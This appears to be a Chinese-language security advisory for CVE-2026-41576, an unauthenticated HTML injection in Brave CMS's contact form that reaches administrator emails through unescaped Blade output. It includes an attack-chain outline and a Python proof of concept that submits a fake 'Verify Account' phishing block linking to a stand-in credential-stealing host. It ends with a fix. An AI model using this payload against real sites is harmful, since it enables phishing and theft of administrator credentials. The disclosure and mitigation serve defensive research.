IPBUF安全漏洞报告
English
CVE-2026-41576 CVSS 7.1 高危

CVE-2026-41576 Brave CMS HTML注入漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41576
漏洞类型
HTML注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Brave CMS

相关标签

HTML注入Brave CMSXSS钓鱼Web安全

漏洞概述

Brave CMS在特定commit之前存在安全漏洞。其联系表单无需认证即可访问,且在处理用户输入时,仅使用nl2br()函数转换换行符,未对HTML字符进行转义。随后数据通过未转义的Blade指令{!! $msg !!}渲染在发送给管理员的邮件模板中。攻击者可利用此漏洞在邮件中注入恶意HTML代码,虽然现代邮件客户端通常阻止JS执行,但仍可渲染恶意内容进行钓鱼攻击。

技术细节

该漏洞源于Blade模板引擎的不安全使用以及输入验证的缺失。在Brave CMS的联系表单处理逻辑中,用户提交的消息内容仅经过PHP的nl2br()函数处理,该函数仅将换行符转换为HTML的<br>标签,并未过滤或转义潜在的恶意HTML字符(如<script>, <img>等)。随后,此字符串直接被传递给Blade模板,并使用{!! $msg !!}指令进行渲染。该指令会原样输出数据,不进行HTML实体转义。因此,攻击者无需管理员权限,只需提交包含恶意HTML构造的表单数据,即可将任意HTML代码注入到系统发送给管理者的通知邮件中。尽管主流邮件客户端(如Gmail、Outlook web)具有安全机制拦截JavaScript执行,但攻击者仍可利用HTML/CSS构建伪造的登录界面或钓鱼链接,诱导管理员进行交互,从而导致凭据窃取等安全风险。

攻击链分析

STEP 1
1. 信息收集与访问
攻击者发现目标站点使用Brave CMS,并定位到公开无需认证的联系表单接口。
STEP 2
2. 载荷构造
攻击者构造包含恶意HTML标签(如钓鱼链接或伪造表单)的数据,利用nl2br()保留换行且不转义HTML的特性。
STEP 3
3. 漏洞利用
攻击者通过POST请求将构造好的恶意HTML数据提交给联系表单。
STEP 4
4. 执行与影响
CMS后台处理请求,通过Blade模板的{!! !!}指令将未转义的HTML渲染进邮件并发送给管理员。管理员查看邮件时看到伪造内容,可能遭受钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable contact form target_url = "http://target-brave-cms.com/contact" # Malicious payload simulating a phishing interface inside the email body # The payload injects a fake login form or a deceptive link html_payload = """ <div style="text-align:center; font-family: Arial;"> <h3>Security Alert: Account Verification Required</h3> <p>Please click the link below to verify your administrator account:</p> <a href="http://attacker-controlled-site.com/steal-credentials" style="background-color:#4CAF50; color:white; padding:10px; text-decoration:none;">Verify Account</a> </div> """ # Data to be sent in the POST request form_data = { "name": "Admin User", "email": "[email protected]", "message": html_payload } try: response = requests.post(target_url, data=form_data) if response.status_code == 200: print("[+] Payload sent successfully. Check administrator email for injected HTML.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Brave CMS < commit 6c56603

防御指南

临时缓解措施
如果无法立即升级代码,应修改邮件模板文件,将输出变量指令从{!! $msg !!}更改为{{ $msg }},确保用户消息在渲染到HTML邮件之前被转义为纯文本,从而阻断HTML注入攻击。

参考链接